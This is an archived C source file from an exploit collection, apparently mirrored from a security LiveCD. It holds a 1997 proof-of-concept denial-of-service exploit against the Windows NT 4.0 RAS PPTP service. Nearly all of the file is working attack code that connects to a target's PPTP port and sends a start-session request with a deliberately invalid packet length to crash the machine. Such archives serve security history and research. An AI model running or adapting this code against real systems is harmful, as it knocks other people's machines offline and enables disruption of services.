home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / ntpptp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  184 lines

  1. /*
  2.  * Sample Windoze NT RAS PPTP exploit
  3.  *
  4.  * Date:         Wed, 26 Nov 1997 11:48:13 -0600
  5.  * From:         Kevin Wormington <kworm@SOFNET.COM>
  6.  * Subject:      Potenial DOS in Windows NT RAS PPTP
  7.  *
  8.  *  Hi, this is my first posting so please excuse the style.
  9.  *  Please forgive me if this has been posted before, but I
  10.  *  have not seen it.  Also, I am unable to test it with
  11.  *  different hotfixes, etc. 
  12.  *
  13.  *  I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable
  14.  *  to a DOS causing core dump.  I have been working with
  15.  *  point to point tunnelling protocol and discovered (by
  16.  *  accident) that if you send a pptp start session request
  17.  *  with an invalid packet length in the pptp packet header
  18.  *  that it will crash an NT box.
  19.  *
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <unistd.h>
  25. #include <string.h>
  26. #include <netdb.h>
  27. #include <netinet/in.h>
  28. #include <netinet/udp.h>
  29. #include <arpa/inet.h>
  30. #include <sys/types.h>
  31. #include <sys/time.h>
  32. #include <sys/socket.h>
  33.  
  34. #define PPTP_MAGIC_COOKIE       0x1a2b3c4d
  35. #define PPTP_CONTROL_HEADER_OFFSET  8
  36. #define PPTP_REQUEST_OFFSET  12
  37. typedef enum {
  38.   PPTP_CONTROL_PACKET = 1,
  39.   PPTP_MGMT_PACKET} PptpPacketType;
  40. typedef enum {
  41.   PPTP_START_SESSION_REQUEST = 1,
  42.   PPTP_START_SESSION_REPLY,
  43.   PPTP_STOP_SESSION_REQUEST,
  44.   PPTP_STOP_SESSION_REPLY,
  45.   PPTP_ECHO_REQUEST,
  46.   PPTP_ECHO_REPLY,
  47.   PPTP_OUT_CALL_REQUEST,
  48.   PPTP_OUT_CALL_REPLY,
  49.   PPTP_IN_CALL_REQUEST,
  50.   PPTP_IN_CALL_REPLY,
  51.   PPTP_IN_CALL_CONNECTED,
  52.   PPTP_CALL_CLEAR_REQUEST,
  53.   PPTP_CALL_DISCONNECT_NOTIFY,
  54.   PPTP_WAN_ERROR_NOTIFY,
  55.   PPTP_SET_LINK_INFO,
  56.   PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;
  57.  
  58. typedef struct
  59.   {
  60.     u_short    packetLength;
  61.     u_short    packetType;
  62.     u_long     magicCookie;
  63.   }
  64. PptpPacketHeader;
  65. typedef struct
  66.   {
  67.     u_short    messageType;
  68.     u_short    reserved;
  69.   }
  70. PptpControlHeader;
  71. typedef struct
  72.   {
  73.     u_long     identNumber;
  74.   }
  75. PptpEchoRequest;
  76. typedef enum {
  77.   PPTP_ECHO_OK = 1,
  78.   PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
  79. typedef struct
  80.   {
  81.     u_long     identNumber;
  82.     u_char     resultCode;
  83.     u_char     generalErrorCode;
  84.     u_short    reserved;
  85.   }
  86. PptpEchoReply;
  87. #define PPTP_FRAME_CAP_ASYNC      0x00000001L
  88. #define PPTP_FRAME_CAP_SYNC       0x00000002L
  89. #define PPTP_BEARER_CAP_ANALOG    0x00000001L
  90. #define PPTP_BEARER_CAP_DIGITAL   0x00000002L
  91. typedef struct
  92.   {
  93.     u_short     protocolVersion;
  94.     u_char      reserved1;
  95.     u_char      reserved2;
  96.     u_long      framingCapability;
  97.     u_long      bearerCapability;
  98.     u_short     maxChannels;
  99.     u_short     firmwareRevision;
  100.     char        hostName[64];
  101.     char        vendorString[64];
  102.   }
  103. PptpStartSessionRequest;
  104. int pptp_start_session (int);
  105.  
  106. int main(int argc, char **argv)
  107. {
  108.   int pptp_sock, i, s, offset;
  109.   u_long src_ip, dst_ip = 0;
  110.   struct in_addr addr;
  111.   struct sockaddr_in sn;
  112.   struct hostent *hp;
  113.   struct servent *sp;
  114.   fd_set ctl_mask;
  115.   char buf[2048];
  116.   if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  117.     {
  118.       perror("tcp socket");
  119.       exit(1);
  120.     }
  121.   sp = getservbyname("pptp", "tcp"); /* port 1723 */
  122.   if (!sp)
  123.     {
  124.       fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
  125.       exit(1);
  126.     }
  127.   hp = gethostbyname(argv[1]);
  128.   if (!hp)
  129.     {
  130.       fprintf (stderr, "Address no good.\n");
  131.       exit(1);
  132.     }
  133.  
  134.   memset(&sn, 0, sizeof(sn));
  135.   sn.sin_port = sp->s_port;
  136.   sn.sin_family = hp->h_addrtype;
  137.   if (hp->h_length > (int)sizeof(sn.sin_addr))
  138.     {
  139.       hp->h_length = sizeof(sn.sin_addr);
  140.     }
  141.   memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
  142.   if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
  143.     {
  144.       perror("pptp: can't connect");
  145.       close(s);
  146.       exit(1);
  147.     }
  148.   pptp_start_session(pptp_sock);
  149.   fprintf(stderr, "Done\n");
  150.   close(pptp_sock);
  151.   return (0);
  152. }
  153.  
  154. int pptp_start_session (int sock)
  155. {
  156.   PptpPacketHeader packetheader;
  157.   PptpControlHeader controlheader;
  158.   PptpStartSessionRequest sessionrequest;
  159.   char packet[200];
  160.   int offset;
  161.   packetheader.packetLength = htons (20);  /* whoops, i forgot to change it */
  162.   packetheader.packetType = htons(PPTP_CONTROL_PACKET);
  163.   packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
  164.   controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
  165.   controlheader.reserved = 0;
  166.   sessionrequest.protocolVersion = htons(1);
  167.   sessionrequest.reserved1 = 0;
  168.   sessionrequest.reserved2 = 0;
  169.   sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
  170.   sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
  171.   sessionrequest.maxChannels = htons(32);
  172.   sessionrequest.firmwareRevision = htons(1);
  173.   memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
  174.   sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
  175.   memset(&sessionrequest.vendorString, 0, sizeof(sessionrequest.vendorString));
  176.   sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
  177.   memset(&packet, 0, sizeof(packet));
  178.   memcpy(&packet, &packetheader, sizeof(packetheader));
  179.   memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader, sizeof(controlheader));
  180.   memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest, sizeof(sessionrequest));
  181.   send (sock, &packet, 156, 0);
  182.   return (0);
  183. }
  184. /*                    www.hack.co.za              [2000]*/